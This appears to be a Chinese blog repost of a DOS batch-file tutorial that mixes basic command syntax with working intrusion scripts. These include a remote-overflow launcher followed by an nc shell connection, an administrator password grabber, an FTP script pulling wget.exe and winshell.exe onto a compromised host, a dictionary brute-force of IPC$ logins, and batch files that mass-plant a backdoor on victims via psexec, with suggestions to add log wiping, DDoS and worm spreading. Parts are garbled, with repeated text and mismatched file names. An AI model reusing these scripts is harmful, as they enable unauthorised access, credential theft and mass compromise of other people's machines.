#
關(guān)鍵字: dos批處理 自動(dòng)化安裝測(cè)試
目前在做自動(dòng)化安裝測(cè)試的過程中要用到大量dos批處理的應(yīng)用,所以貼一篇
很好的DOS批處理入門教程 呵呵。
######################################################################
4. 簡單批處理文件概念
######################################################################
echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二個(gè)echo是追加
第三個(gè)echo將清空a.txt 重新創(chuàng)建 a.txt
netstat -n | find "3389"
這個(gè)將要列出所有連接3389的用戶的ip.
________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不顯示注釋語句,本行顯示
@rem 不顯示注釋語句,本行不顯示
@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
___________________________________________________________________________
下面我們以具體的一個(gè)idahack程序就是ida遠(yuǎn)程溢出為例子.應(yīng)該是很簡單的.
___________________ida.bat_________________________________________________
@rem ver 1.0
@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"
@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2
:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:SP2
@idahack.exe %1 80 %2 99 %temp%_tmp
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)
:END
_____________________ida.bat__END_________________________________
下面我們?cè)賮淼诙€(gè)文件.就是得到administrator的口令.
大多數(shù)人說得不到.其實(shí)是自己的沒有輸入正確的信息.
___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"
@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%_findpass.txt
@goto END
:USAGE
@pulist.exe >%temp%_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"
:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___END___________________________________________________________
還有一個(gè)就是已經(jīng)通過telnet登陸了一個(gè)遠(yuǎn)程主機(jī).怎樣上傳文件(win)
依次在窗口輸入下面的東西. 當(dāng)然了也可以全部拷貝.Ctrl+V過去. 然后就等待吧!!
echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w
批處理,說白了就是DOS操作。有人認(rèn)為DOS操作過時(shí)了、落后了,其實(shí)不然。DOS操作最大的好處就在于快、不留痕。在許多時(shí)候,Windows操作是根本解決不了問題的,必須借助DOS操作。
必備常識(shí):批處理的編寫和修改
打開記事本,將要編寫的內(nèi)容寫在里面。在存為bat文件即可。修改也可以用記事本打開進(jìn)行修改。
批處理運(yùn)用一:掃描本地端口
這個(gè)功能優(yōu)化大師有,就是掃描哪個(gè)端口與internet連接和連接ip。這,為及時(shí)發(fā)現(xiàn)并攔截非法連接有著不可取代的功勞。
然而,啟動(dòng)優(yōu)化大師太慢了,而且太煩了,不利于隨機(jī)使用。因此,編寫一個(gè)這樣的批處理來解決問題就顯得尤為重要了。
************************************************************
代碼:
netstat -n
pause
附:也可在每一行開頭添上“@”,這樣命令就不會(huì)顯示出來。
************************************************************
批處理運(yùn)用二:查常見病毒
其實(shí),對(duì)于上網(wǎng)的人來說,遇到病毒是在所難免的。然而,如果真的不幸感染,怎樣才能發(fā)現(xiàn)呢?難道真的要買昂貴的殺毒軟件嗎?不一定。
我們可以編寫批處理來查一些常見的網(wǎng)絡(luò)病毒。如果確認(rèn)感染病毒,可以下載專用殺毒工具進(jìn)行查殺,或采取其他途徑殺毒。
下面,我以歡樂時(shí)光為例進(jìn)行分析:
主文件:1.bat
其它文件:2.bat 3.bat
************************************************************
1.bat代碼:
@if exist c:\folder.htt call 2.bat
@if exist d:\folder.htt call 2.bat
@if exist e:\folder.htt call 2.bat
@if exist f:\folder.htt call 2.bat
************************************************************
2.bat代碼:
@echo 發(fā)現(xiàn)歡樂時(shí)光病毒!
@call 3.bat
@pause
************************************************************
3.bat代碼:
@c:
@dir *.htt *.ini /s/a>1.txt
@d:
@dir *.htt *.ini /s/a>1.txt
@e:
@dir *.htt *.ini /s/a>1.txt
************************************************************
這樣,如果中毒,那么必定會(huì)存在大量folder.htt和Desktop.ini,通過這樣可以粗略的檢查計(jì)算機(jī)是否感染病毒。
批處理運(yùn)用三:文件處理
假設(shè),我要大規(guī)模的做文件的移動(dòng)、刪除等,如果在Windows里操作不免會(huì)出現(xiàn)錯(cuò)誤,而且這些錯(cuò)誤不易察覺。因此,用批處理進(jìn)行操作,不但簡單易行,而且容易發(fā)現(xiàn)錯(cuò)誤并可以及時(shí)糾正。
例如,我要將D盤的htm文件移動(dòng)到E盤,再格式化D盤,然后將文件移回D盤,并改后綴為html。
************************************************************
1.bat代碼:
@E:
@Md d
@D:
@Copy *.htm e:\d
@if exist e:\d\*.htm call 2.bat
************************************************************
2.bat代碼:
@Format d:/q
@Copy e:\d\*.htm d:
@D:
@Ren *.htm *.html
************************************************************
從例子中,可以看出,如果一旦出現(xiàn)問題,是很容易被發(fā)現(xiàn)的。從而,也證明了批處理的可用性。
關(guān)于批處理的運(yùn)用,可以說博大精深,變化莫測(cè)。希望大家能夠用DOS命令去優(yōu)化它,這樣才能讓其更好的為我們服務(wù)。
批處理命令
1.Echo 命令
打開回顯或關(guān)閉請(qǐng)求回顯功能,或顯示消息。如果沒有任何參數(shù),echo 命令將顯示當(dāng)前回顯設(shè)置。
語法:echo [{on|off}] [message]
Sample:echo off / echo hello world
在實(shí)際應(yīng)用中我們會(huì)把這條命令和重定向符號(hào)(也稱為管道符號(hào),一般用> >> ^)結(jié)合來實(shí)現(xiàn)輸入一些命令到特定格式的文件中.這將在以后的例子中體現(xiàn)出來。
2.@ 命令
表示不顯示@后面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能讓對(duì)方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個(gè)命令是不可以使用/y這個(gè)參數(shù)的,可喜的是微軟留了個(gè)autoset這個(gè)參數(shù)給我們,效果和/y是一樣的。)
3.Goto 命令
指定跳轉(zhuǎn)到標(biāo)簽,找到標(biāo)簽后,程序?qū)⑻幚韽南乱恍虚_始的命令。
語法:goto label (label是參數(shù),指定所要轉(zhuǎn)向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,后面會(huì)有詳細(xì)的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標(biāo)簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個(gè):用來表示這個(gè)字母是標(biāo)簽,goto命令就是根據(jù)這個(gè):來尋找下一步跳到到那里。最好有一些說明這樣你別人看起來才會(huì)理解你的意圖啊。
4.Rem 命令
注釋命令,在C語言中相當(dāng)與/*--------*/,它并不會(huì)被執(zhí)行,只是起一個(gè)注釋的作用,便于別人閱讀和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
運(yùn)行 Pause 命令時(shí),將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個(gè)例子中,驅(qū)動(dòng)器 A 中磁盤上的所有文件均復(fù)制到d:\back中。顯示的注釋提示您將另一張磁盤放入驅(qū)動(dòng)器 A 時(shí),pause 命令會(huì)使程序掛起,以便您更換磁盤,然后按任意鍵繼續(xù)處理。
6.Call 命令
從一個(gè)批處理程序調(diào)用另一個(gè)批處理程序,并且不終止父批處理程序。call 命令接受用作調(diào)用目標(biāo)的標(biāo)簽。如果在腳本或批處理文件外使用 Call,它將不會(huì)在命令行起作用。
語法:call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數(shù):[Drive:}[Path] FileName
指定要調(diào)用的批處理程序的位置和名稱。filename 參數(shù)必須具有 .bat 或 .cmd 擴(kuò)展名。
7.start 命令
調(diào)用外部程序,所有的DOS命令和命令行程序都可以由start命令來調(diào)用。
入侵常用參數(shù):
MIN 開始時(shí)窗口最小化
SEPARATE 在分開的空間內(nèi)開始 16 位 Windows 程序
HIGH 在 HIGH 優(yōu)先級(jí)類別開始應(yīng)用程序
REALTIME 在 REALTIME 優(yōu)先級(jí)類別開始應(yīng)用程序
WAIT 啟動(dòng)應(yīng)用程序并等候它結(jié)束
parameters 這些為傳送到命令/程序的參數(shù)
執(zhí)行的應(yīng)用程序是 32-位 GUI 應(yīng)用程序時(shí),CMD.EXE 不等應(yīng)用程序終止就返回命令提示。如果在命令腳本內(nèi)執(zhí)行,該新行為則不會(huì)發(fā)生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個(gè)字符,從而運(yùn)行不同的命令。使用時(shí)應(yīng)該加/c:參數(shù),c:后應(yīng)寫提示可輸入的字符,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內(nèi)容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應(yīng)先判斷數(shù)值最高的錯(cuò)誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件運(yùn)行后,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然后if語句將作出判斷,d表示執(zhí)行標(biāo)號(hào)為defrag的程序段,m表示執(zhí)行標(biāo)號(hào)為mem的程序段,e表示執(zhí)行標(biāo)號(hào)為end的程序段,每個(gè)程序段最后都以goto end將程序跳到end標(biāo)號(hào)處,然后程序?qū)@示good bye,文件結(jié)束。
9.If 命令
if 表示將判斷是否符合規(guī)定的條件,從而決定執(zhí)行不同的命令。 有三種格式:
1、if "參數(shù)" == "字符串" 待執(zhí)行的命令
參數(shù)如果等于指定的字符串,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。(注意是兩個(gè)等號(hào))
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待執(zhí)行的命令
如果有指定的文件,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 數(shù)字 待執(zhí)行的命令
如果返回碼等于指定的數(shù)字,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。
如if errorlevel 2 goto x2
DOS程序運(yùn)行時(shí)都會(huì)返回一個(gè)數(shù)字給DOS,稱為錯(cuò)誤碼errorlevel或稱返回碼,常見的返回碼為0、1。
10.for 命令
for 命令是一個(gè)比較復(fù)雜的命令,主要用于參數(shù)在指定的范圍內(nèi)循環(huán)執(zhí)行命令。
在批處理文件中使用 FOR 命令時(shí),指定變量請(qǐng)使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個(gè)單一字母可替換的參數(shù)。
(set) 指定一個(gè)或一組文件。可以使用通配符。
command 指定對(duì)每個(gè)文件執(zhí)行的命令。
command-parameters 為特定命令指定參數(shù)或命令行開關(guān)。
在批處理文件中使用 FOR 命令時(shí),指定變量請(qǐng)使用 %%variable
而不要用 %variable。變量名稱是區(qū)分大小寫的,所以 %i 不同于 %I
如果命令擴(kuò)展名被啟用,下列額外的 FOR 命令格式會(huì)受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,則指定與目錄名匹配,而不與文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
檢查以 [drive:]path 為根的目錄樹,指向每個(gè)目錄中的
FOR 語句。如果在 /R 后沒有指定目錄,則使用當(dāng)前
目錄。如果集僅為一個(gè)單點(diǎn)(.)字符,則枚舉該目錄樹。
FOR /L %variable IN (start,step,end) DO command [command-para
該集表示以增量形式從開始到結(jié)束的一個(gè)數(shù)字序列。
因此,(1,1,5) 將產(chǎn)生序列 1 2 3 4 5,(5,-1,1) 將產(chǎn)生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 選項(xiàng):
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 為一個(gè)或多個(gè)文件名。繼續(xù)到 filenameset 中的
下一個(gè)文件之前,每份文件都已被打開、讀取并經(jīng)過處理。
處理包括讀取文件,將其分成一行行的文字,然后將每行
解析成零或更多的符號(hào)。然后用已找到的符號(hào)字符串變量值
調(diào)用 For 循環(huán)。以默認(rèn)方式,/F 通過每個(gè)文件的每一行中分開
的第一個(gè)空白符號(hào)。跳過空白行。您可通過指定可選 "options"
參數(shù)替代默認(rèn)解析操作。這個(gè)帶引號(hào)的字符串包括一個(gè)或多個(gè)
指定不同解析選項(xiàng)的關(guān)鍵字。這些關(guān)鍵字為:
eol=c - 指一個(gè)行注釋字符的結(jié)尾(就一個(gè))
skip=n - 指在文件開始時(shí)忽略的行數(shù)。
delims=xxx - 指分隔符集。這個(gè)替換了空格和跳格鍵的
默認(rèn)分隔符集。
tokens=x,y,m-n - 指每行的哪一個(gè)符號(hào)被傳遞到每個(gè)迭代
的 for 本身。這會(huì)導(dǎo)致額外變量名稱的
格式為一個(gè)范圍。通過 nth 符號(hào)指定 m
符號(hào)字符串中的最后一個(gè)字符星號(hào),
那么額外的變量將在最后一個(gè)符號(hào)解析之
分配并接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執(zhí)行一個(gè)后引號(hào)的字符串并且
引號(hào)字符為文字字符串命令并允許在 fi
中使用雙引號(hào)擴(kuò)起文件名稱。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
會(huì)分析 myfile.txt 中的每一行,忽略以分號(hào)打頭的那些行,將
每行中的第二個(gè)和第三個(gè)符號(hào)傳遞給 for 程序體;用逗號(hào)和/或
空格定界符號(hào)。請(qǐng)注意,這個(gè) for 程序體的語句引用 %i 來
取得第二個(gè)符號(hào),引用 %j 來取得第三個(gè)符號(hào),引用 %k
來取得第三個(gè)符號(hào)后的所有剩余符號(hào)。對(duì)于帶有空格的文件
名,您需要用雙引號(hào)將文件名括起來。為了用這種方式來使
用雙引號(hào),您還需要使用 usebackq 選項(xiàng),否則,雙引號(hào)會(huì)
被理解成是用作定義某個(gè)要分析的字符串的。
%i 專門在 for 語句中得到說明,%j 和 %k 是通過
tokens= 選項(xiàng)專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個(gè)符號(hào),只要不試圖說明一個(gè)高于字母 z 或
Z 的變量。請(qǐng)記住,F(xiàn)OR 變量是單一字母、分大小寫和全局的;
同時(shí)不能有 52 個(gè)以上都在使用中。
您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是,
用單引號(hào)將括號(hào)之間的 filenameset 括起來。這樣,該字符
串會(huì)被當(dāng)作一個(gè)文件中的一個(gè)單一輸入行。
最后,您可以用 FOR /F 命令來分析命令的輸出。方法是,將
括號(hào)之間的 filenameset 變成一個(gè)反括字符串。該字符串會(huì)
被當(dāng)作命令行,傳遞到一個(gè)子 CMD.EXE,其輸出會(huì)被抓進(jìn)
內(nèi)存,并被當(dāng)作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
會(huì)枚舉當(dāng)前環(huán)境中的環(huán)境變量名稱。
另外,F(xiàn)OR 變量參照的替換已被增強(qiáng)。您現(xiàn)在可以使用下列
選項(xiàng)語法:
~I - 刪除任何引號(hào)("),擴(kuò)充 %I
%~fI - 將 %I 擴(kuò)充到一個(gè)完全合格的路徑名
%~dI - 僅將 %I 擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)
%~pI - 僅將 %I 擴(kuò)充到一個(gè)路徑
%~nI - 僅將 %I 擴(kuò)充到一個(gè)文件名
%~xI - 僅將 %I 擴(kuò)充到一個(gè)文件擴(kuò)展名
%~sI - 擴(kuò)充的路徑只含有短名
%~aI - 將 %I 擴(kuò)充到文件的文件屬性
%~tI - 將 %I 擴(kuò)充到文件的日期/時(shí)間
%~zI - 將 %I 擴(kuò)充到文件的大小
%~$PATH:I - 查找列在路徑環(huán)境變量的目錄,并將 %I 擴(kuò)充
到找到的第一個(gè)完全合格的名稱。如果環(huán)境變量
未被定義,或者沒有找到文件,此組合鍵會(huì)擴(kuò)充
空字符串
可以組合修飾符來得到多重結(jié)果:
%~dpI - 僅將 %I 擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)和路徑
%~nxI - 僅將 %I 擴(kuò)充到一個(gè)文件名和擴(kuò)展名
%~fsI - 僅將 %I 擴(kuò)充到一個(gè)帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環(huán)境變量的目錄,并將 %I 擴(kuò)充
到找到的第一個(gè)驅(qū)動(dòng)器號(hào)和路徑。
%~ftzaI - 將 %I 擴(kuò)充到類似輸出線路的 DIR
在以上例子中,%I 和 PATH 可用其他有效數(shù)值代替。%~ 語法
用一個(gè)有效的 FOR 變量名終止。選取類似 %I 的大寫變量名
比較易讀,而且避免與不分大小寫的組合鍵混淆。
以上是MS的官方幫助,下面我們舉幾個(gè)例子來具體說明一下For命令在入侵中的用途。
sample2:
利用For命令來實(shí)現(xiàn)對(duì)一臺(tái)目標(biāo)Win2k主機(jī)的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標(biāo)主機(jī)進(jìn)行連接,當(dāng)成功時(shí)記下密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個(gè)取i%的值用net use 命令來連接。然后將程序運(yùn)行結(jié)果傳遞給find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,這樣就ko了。
sample3:
你有沒有過手里有大量肉雞等著你去種后門+木馬呢?,當(dāng)數(shù)量特別多的時(shí)候,原本很開心的一件事都會(huì)變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復(fù)性任務(wù)。那么如何實(shí)現(xiàn)呢?呵呵,看下去你就會(huì)明白了。
主要命令也只有一條:(在批處理文件中使用 FOR 命令時(shí),指定變量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請(qǐng)參見上面的sample1,在這里它表示按順序?qū)ictim.txt中的內(nèi)容傳遞給door.bat中的參數(shù)%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,并copy木馬+后門到victim,然后用返回碼(If errorlever =)來篩選成功種植后門的主機(jī),并echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內(nèi)容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內(nèi)容是什么樣的了。應(yīng)該根據(jù)%%i %%j %%k表示的對(duì)象來排列,一般就是 ip password username。
代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
這只是一個(gè)自動(dòng)種植后門批處理的雛形,兩個(gè)批處理和后門程序(Windrv32.exe),PSexec.exe需放在統(tǒng)一目錄下.批處理內(nèi)容
尚可擴(kuò)展,例如:加入清除日志+DDOS的功能,加入定時(shí)添加用戶的功能,更深入一點(diǎn)可以使之具備自動(dòng)傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究
關(guān)鍵字: dos批處理 自動(dòng)化安裝測(cè)試
目前在做自動(dòng)化安裝測(cè)試的過程中要用到大量dos批處理的應(yīng)用,所以貼一篇
很好的DOS批處理入門教程 呵呵。
這是一篇技術(shù)教程,我會(huì)用很簡單的文字表達(dá)清楚自己的意思,你要你識(shí)字就能看懂,就能學(xué)到知識(shí)。寫這篇教程的目的,是讓每一個(gè)看過這些文字的朋友記住一句話:如果愛可以讓事情變的更簡單,那么就讓它簡單吧!看這篇教程的方法,就是慢!慢慢的,如同品一個(gè)女人、一杯茗茶,你會(huì)發(fā)現(xiàn)很多以前就在眼前的東西突然變的很遙遠(yuǎn),而有些很遙遠(yuǎn)的東西卻又突然回到了眼前。
先概述一下批處理是個(gè)什么東東。批處理的定義,至今我也沒能給出一個(gè)合適的----眾多高手們也都沒給出----反正我不知道----看了我也不一定信服 ----我是個(gè)菜鳥,當(dāng)然就更不用說了;但我想總結(jié)出一個(gè)“比較合適的”,而且我也相信自己可以把它解釋的很清楚,讓更多的菜鳥都知道這是個(gè)什么東東,你用這個(gè)東東可以干什么事情。或許你會(huì)因?yàn)檫@篇文章而“無條件愛上批處理”,那么我的目的就達(dá)到了----我就是要讓你愛上它,我就這么拽,你能怎么著??真的,愛有時(shí)候就這么拽,就是這么沒理由,就是這么不要臉!真的!
按照我的理解,批處理的本質(zhì),是一堆DOS命令按一定順序排列而形成的集合。
OK,never claver and get to business(閑話少說言歸正傳)。批處理,也稱為批處理腳本,英文譯為BATCH,批處理文件后綴BAT就取的前三個(gè)字母。它的構(gòu)成沒有固定格式,只要遵守以下這條就ok了:每一行可視為一個(gè)命令,每個(gè)命令里可以含多條子命令,從第一行開始執(zhí)行,直到最后一行結(jié)束,它運(yùn)行的平臺(tái)是DOS。批處理有一個(gè)很鮮明的特點(diǎn):使用方便、靈活,功能強(qiáng)大,自動(dòng)化程度高。我不想讓自己寫的教程枯燥無味,因?yàn)闋坷p到代碼(批處理的內(nèi)容算是代碼吧?)的問題本來就是枯燥的,很少有人能面對(duì)滿屏幕的代碼而靜下心來。所以我會(huì)用很多簡單實(shí)用的例子讓讀這篇教程的朋友去體會(huì)批處理的那四射的魅力,感受它那古靈精怪的性格,不知不覺中愛上批處理(暈,怎么又是愛?到底批處理和愛有什么關(guān)系?答案:沒有!)。再說句“閑話”:要學(xué)好批處理,DOS基礎(chǔ)一定要牢!當(dāng)然腦子靈活也是很重要的一方面。
例一、先給出一個(gè)最easy的批處理腳本讓大家和它混個(gè)臉熟,將下面的幾行命令保存為name.bat然后執(zhí)行(以后文中只給出代碼,保存和執(zhí)行方式類似):
ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit
是不是都能看的懂?是不是很easy?但它的作用卻是很實(shí)用的,執(zhí)行這個(gè)批處理后,可以在你的當(dāng)前盤建立一個(gè)名為a.txt的文件,它里面記錄的信息可以幫助你迅速找到速度最快的QQ服務(wù)器,從而遠(yuǎn)離“從服務(wù)器中轉(zhuǎn)”那一痛苦的過程。這里>的意思,是把前面命令得到的東西放到后面所給的地方,>>的作用,和>的相同,區(qū)別是把結(jié)果追加到前一行得出的結(jié)果的后面,具體的說是下一行,而前面一行命令得出的結(jié)果將保留,這樣可以使這個(gè)a.txt文件越來越大(想到如何搞破壞了??)。By the way,這個(gè)批處理還可以和其他命令結(jié)合,搞成完全自動(dòng)化判斷服務(wù)器速度的東東,執(zhí)行后直接顯示速度最快的服務(wù)器IP,是不是很爽?后面還將詳細(xì)介紹。
例二、再給出一個(gè)已經(jīng)過時(shí)的例子(a.bat):
@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
a.bat
為什么說這是個(gè)過時(shí)的例子呢?很簡單,因?yàn)楝F(xiàn)在已經(jīng)幾乎沒有人用帶廣告的QQ了(KAO,我的QQ還顯示好友三圍呢!!),所以它幾乎用不上了。但曾經(jīng)它的作用是不可小窺的:刪除QQ的廣告,讓對(duì)話框干干凈凈。這里用的地址是QQ的默認(rèn)安裝地址,默認(rèn)批處理文件名為a.bat,你當(dāng)然可以根據(jù)情況自行修改。在這個(gè)腳本中使用了if命令,使得它可以達(dá)到適時(shí)判斷和刪除廣告圖片的效果,你只需要不關(guān)閉命令執(zhí)行后的DOS窗口,不按CTRL+C強(qiáng)行終止命令,它就一直監(jiān)視是否有廣告圖片(QQ也再不斷查看自己的廣告是否被刪除)。當(dāng)然這個(gè)腳本占用你一點(diǎn)點(diǎn)內(nèi)存,呵呵。
例三,使用批處理腳本查是否中冰河。腳本內(nèi)容如下:
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
這里利用了netstat命令,檢查所有的網(wǎng)絡(luò)端口狀態(tài),只需要你清楚常見木馬所使用的端口,就能很easy的判斷出來是否被人種了冰河。然這不是確定的,因?yàn)楸幽J(rèn)的端口7626,完全可以被人修改。這里介紹的只是方法和思路。這里介紹的是方法和思路稍做改動(dòng),就變成可以檢查其他木馬的腳本了,再改動(dòng)一下,加進(jìn)去參數(shù)和端口及信息列表文件后,就變成自動(dòng)檢測(cè)所有木馬的腳本了。呵呵,是不是很過癮?腳本中還利用了組合命令&&和管道命令|,后面將詳細(xì)介紹。
例四,借批處理自動(dòng)清除系統(tǒng)垃圾,腳本如下:
@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*
將以上腳本內(nèi)容保存到autoexec.bat里,每次開機(jī)時(shí)就把系統(tǒng)垃圾給自動(dòng)刪除了。這里需要注意兩點(diǎn):一、DOS不支持長文件名,所以就出現(xiàn)了Tempor~1這個(gè)東東;二、可根據(jù)自己的實(shí)際情況進(jìn)行改動(dòng),使其符合自己的要求。
怎么樣,看到這里,你對(duì)批處理腳本是不是已經(jīng)有點(diǎn)興趣了?是不是發(fā)現(xiàn)自己已經(jīng)慢慢愛上了這個(gè)東東?別高興的太早,愛不是一件簡單的事,它也許能帶給你快樂和幸福,當(dāng)然也能讓你痛苦的想去跳樓。如果你知道很難還敢繼續(xù)的話,I 服了 YOU!繼續(xù)努力吧,也許到最后你不一定得到真愛(真的有這可能,愛過的人都知道),但你可以體會(huì)到整個(gè)愛的過程,就是如此。酸、苦和辣,有沒有甜天知道。
為什么會(huì)把批處理和愛情扯上關(guān)系?不是我無聊,也不是因?yàn)檫@樣寫有趣多少,原因有二:其一,批處理和愛情有很多相同的地方,有些地方我用“專業(yè)”的行話解釋不清(我不懷疑自己的表達(dá)能力,而是事情本身就不好說清楚),說了=沒說,但用地球人都知道的愛情一比喻(愛情是什么?我**怎么知道!!),沒準(zhǔn)你心里一下就亮堂了,事半功倍,何樂而不為?其二,我這段時(shí)間狀態(tài)不是很好,感冒發(fā)燒頭疼鼻塞,但主要還是感情上精神摧殘,搞的人煩透了,借寫教程之際感慨幾句,大家就全當(dāng)買狗皮膏藥了,完全可以省略不看(也許還真有點(diǎn)效果----不至于讓你看著看著就睡著了,把頭磕了來找我報(bào)銷醫(yī)藥費(fèi))。說不定下次的教程中大家還會(huì)看到楊過、張無忌等金老前輩筆下的英雄們。
看過第一章的朋友,一定對(duì)批處理有了初步的印象,知道它到底是用來干什么的了。但你知道運(yùn)用批處理的精髓在哪里嗎?其實(shí)很簡單:思路要靈活!沒有做不到的,只有想不到的。這和愛情就有點(diǎn)不同了,因?yàn)閻矍榈氖澜缡莾蓚€(gè)人的世界,一廂情愿不叫愛情(補(bǔ)充:那叫單戀。廢話!)而批處理卻是一個(gè)人的天堂,你可以為所欲為,沒有達(dá)不到的境界!
